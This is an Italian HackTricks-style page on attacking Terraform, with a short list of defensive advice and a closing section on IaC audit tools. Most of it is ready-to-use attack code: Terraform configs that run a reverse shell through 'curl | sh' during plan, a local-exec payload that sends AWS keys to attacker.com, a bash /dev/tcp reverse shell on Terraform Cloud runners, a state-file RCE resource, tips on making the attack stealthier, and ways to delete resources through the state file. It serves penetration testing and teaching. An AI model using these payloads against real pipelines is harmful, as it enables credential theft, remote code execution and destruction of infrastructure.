# Sicurezza di Terraform {{#include ../banners/hacktricks-training.md}} ## Informazioni di base [Dal documento:](https://developer.hashicorp.com/terraform/intro) HashiCorp Terraform è uno **strumento di infrastruttura come codice** che ti consente di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS. #### Come funziona Terraform? Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile. ![](<../images/image (177).png>) HashiCorp e la comunità di Terraform hanno già scritto **più di 1700 provider** per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel [Terraform Registry](https://registry.terraform.io/), inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri. Il flusso di lavoro principale di Terraform consiste in tre fasi: - **Scrivi:** Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico. - **Pianifica:** Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione. - **Applica:** Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali. ![](<../images/image (215).png>) ### Laboratorio Terraform Basta installare terraform sul tuo computer. Qui hai una [guida](https://learn.hashicorp.com/tutorials/terraform/install-cli) e qui hai il [modo migliore per scaricare terraform](https://www.terraform.io/downloads). ## RCE in Terraform: avvelenamento del file di configurazione Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo sottostante). Tuttavia, terraform è un **componente molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni affinché possa funzionare correttamente. Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è **compromettere il repository che memorizza le configurazioni di terraform**, perché a un certo punto verranno **interpretate**. In realtà, ci sono soluzioni là fuori che **eseguono automaticamente terraform plan/apply dopo che è stata creata una PR**, come **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`. ### Terraform plan Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un `terraform plan`. **Utilizzando un provider esterno** Terraform offre il [`provider` esterno](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`. Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` **Utilizzando un provider personalizzato** Un attaccante potrebbe inviare un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un branch di funzionalità ([esempio da qui](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { evil = { source = "evil/evil" version = "1.0" } } } provider "evil" {} ``` Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito `plan`. Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) **Utilizzando un riferimento esterno** Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo **più furtivo**, seguendo questi suggerimenti: - Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando **un file Terraform malevolo con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ Devi solo assicurarti che qualche payload come i seguenti termini nel file `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { provisioner "local-exec" { command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { provisioner "local-exec" { command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` Segui le **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più furtivo utilizzando riferimenti esterni**. ## Dump di Segreti Puoi avere **valori segreti utilizzati da terraform dumpati** eseguendo `terraform apply` aggiungendo al file terraform qualcosa come: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` ## Abusare dei file di stato di Terraform Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di `git`. ### RCE in Terraform: avvelenamento del file di configurazione È possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa falsa che fa riferimento al provider malevolo. Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e specificare il comando bash arbitrario che desideri eseguire nell'attributo `command`. Quando viene attivato il run di `terraform`, questo verrà letto ed eseguito sia nei passaggi `terraform plan` che `terraform apply`. Nel caso del passaggio `terraform apply`, `terraform` eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel [repository GitHub che ospita il codice sorgente per questo provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array `resources` e personalizzare gli attributi `name` e `command`: ```json { "mode": "managed", "type": "rce", "name": "", "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", "instances": [ { "schema_version": 0, "attributes": { "command": "", "id": "rce" }, "sensitive_attributes": [], "private": "bnVsbA==" } ] } ``` Poi, non appena `terraform` viene eseguito, il tuo codice verrà eseguito. ### Eliminazione delle risorse Ci sono 2 modi per distruggere le risorse: 1. **Inserire una risorsa con un nome casuale nel file di stato che punta alla risorsa reale da distruggere** Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della risorsa reale indicato). Esempio dalla pagina precedente: ```json { "mode": "managed", "type": "aws_instance", "name": "example", "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", "instances": [ { "attributes": { "id": "i-1234567890abcdefg" } } ] }, ``` 2. **Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)** Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei. ### Sostituisci il provider in blacklist Nel caso tu incontri una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: Utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione. ```terraform terraform { required_providers { external = { source = "nazarewk/external" version = "3.0.0" } } } ``` Quindi puoi usare `external` come al solito. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` ## Terraform Cloud speculative plan RCE e esfiltrazione delle credenziali Questo scenario sfrutta i runner di Terraform Cloud (TFC) durante i piani speculativi per pivotare nell'account cloud target. - Preconditions: - Rubare un token di Terraform Cloud da una macchina di sviluppo. Il CLI memorizza i token in testo semplice in `~/.terraform.d/credentials.tfrc.json`. - Il token deve avere accesso all'organizzazione/workspace target e almeno il permesso `plan`. Gli workspace supportati da VCS bloccano `apply` dal CLI, ma consentono comunque piani speculativi. - Scoprire le impostazioni di workspace e VCS tramite l'API TFC: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` - Attivare l'esecuzione del codice durante un piano speculativo utilizzando la fonte di dati esterna e il blocco "cloud" di Terraform Cloud per mirare allo spazio di lavoro supportato da VCS: ```hcl terraform { cloud { organization = "acmecorp" workspaces { name = "gcp-infra-prod" } } } data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` Esempio di rsync.sh per ottenere una reverse shell sul runner TFC: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` Esegui un piano speculativo per eseguire il programma sul runner effimero: ```bash terraform init terraform plan ``` - Enumerare ed esfiltrare le credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali del provider tramite file e variabili d'ambiente: ```bash env | grep -i gcp || true env | grep -i aws || true ``` File previsti nella directory di lavoro del runner: - GCP: - `tfc-google-application-credentials` (configurazione JSON per l'identità di lavoro) - `tfc-gcp-token` (token di accesso GCP a breve termine) - AWS: - `tfc-aws-shared-config` (configurazione per l'assunzione del ruolo di identità web/OIDC) - `tfc-aws-token` (token a breve termine; alcune organizzazioni potrebbero utilizzare chiavi statiche) - Utilizzare le credenziali a breve termine in modo separato per bypassare i gate VCS: GCP (gcloud): ```bash export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" gcloud config set project ``` AWS (AWS CLI): ```bash export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente utilizzando CLIs nativi, eludendo i flussi di lavoro basati su PR che bloccano `apply` tramite VCS. - Indicazioni difensive: - Applica il principio del minimo privilegio agli utenti/ai team e ai token TFC. Audit delle appartenenze e evita proprietari sovradimensionati. - Limita il permesso `plan` su spazi di lavoro sensibili supportati da VCS dove possibile. - Applica elenchi di autorizzazione per provider/sorgenti dati con politiche Sentinel per bloccare `data "external"` o provider sconosciuti. Vedi le indicazioni di HashiCorp sul filtraggio dei provider. - Preferisci OIDC/WIF rispetto a credenziali cloud statiche; tratta i runner come sensibili. Monitora le esecuzioni di piani speculativi e l'uscita inaspettata. - Rileva l'esfiltrazione di artefatti di credenziali `tfc-*` e invia avvisi su utilizzi sospetti di programmi `external` durante i piani. ## Strumenti di Audit Automatici ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e configurazioni errate in Terraform, CloudFormation, Kubernetes e altri formati IaC. - **Caratteristiche:** - Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità. - Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket). - Richieste di pull per correzioni automatiche. - Consigli dettagliati per la remediation. - **Registrati:** Crea un account su [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) **Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source. Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi. Esegue la [scansione dell'analisi della composizione del software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice. - **compliance:** Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati - **behaviour driven development:** Abbiamo BDD per quasi tutto, perché non per IaC? - **portable:** basta installarlo da `pip` o eseguirlo tramite `docker`. Vedi [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** valida il tuo codice prima che venga distribuito - **easy to integrate:** può essere eseguito nella tua pipeline (o nei git hooks) per garantire che tutte le distribuzioni siano validate. - **segregation of duty:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile. > [!NOTE] > Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il `terraform plan` e utilizzare questo strumento. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) Dalla [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni. - ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud - ⛔ Centinaia di regole integrate - 🪆 Scansione dei moduli (locali e remoti) - ➕ Valuta le espressioni HCL così come i valori letterali - ↪️ Valuta le funzioni Terraform ad es. `concat()` - 🔗 Valuta le relazioni tra le risorse Terraform - 🧰 Compatibile con il Terraform CDK - 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente - 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif. - 🛠️ Configurabile (tramite flag CLI e/o file di configurazione) - ⚡ Molto veloce, in grado di scansionare rapidamente enormi repository ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) Trova vulnerabilità di sicurezza, problemi di conformità e misconfigurazioni dell'infrastruttura precocemente nel ciclo di sviluppo della tua infrastruttura-as-code con **KICS** di Checkmarx. **KICS** sta per **K**eeping **I**nfrastructure as **C**ode **S**ecure, è open source ed è un must-have per qualsiasi progetto cloud native. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è un analizzatore di codice statico per Infrastructure as Code. Terrascan ti consente di: - Scansionare senza problemi l'infrastruttura come codice per configurazioni errate. - Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura. - Rilevare vulnerabilità di sicurezza e violazioni di conformità. - Mitigare i rischi prima di provisionare infrastrutture cloud native. - Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD. ```bash brew install terrascan ``` ## Riferimenti - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) - [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) - [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) - [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) - [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) - [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) - [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) - [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) - [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}